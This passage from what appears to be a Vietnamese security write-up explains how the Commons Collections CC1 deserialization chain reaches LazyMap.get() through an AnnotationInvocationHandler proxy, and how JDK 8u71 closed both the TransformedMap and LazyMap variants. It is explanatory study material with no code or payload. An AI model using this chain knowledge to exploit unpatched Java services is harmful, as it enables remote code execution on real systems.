  • Khi bắt đầu AnnotationInvocationHandler gọi đến this.memberValues.entrySet() với memberValuesproxyMap, nhưng khi gọi tới proxyMap thì method call lại đổi hướng, lúc này gọi tới AnnotationInvocationHandler.invoke().
  • Bên trong AnnotationInvocationHandler.invoke() gọi đến Object var6 = this.memberValues.get(var4); với memberValues lúc này là LazyMap

Vậy là đã phân tích xong cách xây dựng chain với LazyMap.

IV. Cách mà CC1 chain đã được vá

Từ sau phiên bản JDK 1.8u71 thì CC1 chain đã bị vá.

4.1. Đối với CC1 chain khi dùng TransformedMap

Từ sau phiên bản JDK 1.8u71, method readObject() của AnnotationInvocationHandler không còn chỗ nào có thể gọi method setValue()

4.1. Đối với CC1 chain khi dùng LazyMap

Từ sau phiên bản 8u71, quá trình deserialization không còn thông qua defaultReadObject nữa, mà dùng readFields để lấy một vài thuộc tính cụ thể.

defaultReadObject có thể khôi phục class attribute của chính object, ví dụ this.memberValues có thể được khôi phục thành malicious class mà chúng ta đã set ban đầu.

Nhưng khi dùng cách readFields, this.memberValues sẽ là null, vì vậy việc thực thi get() phía sau chắc chắn sẽ không thể trigger được. Đây cũng chính là lý do vì sao các phiên bản cao hơn không thể sử dụng chain này.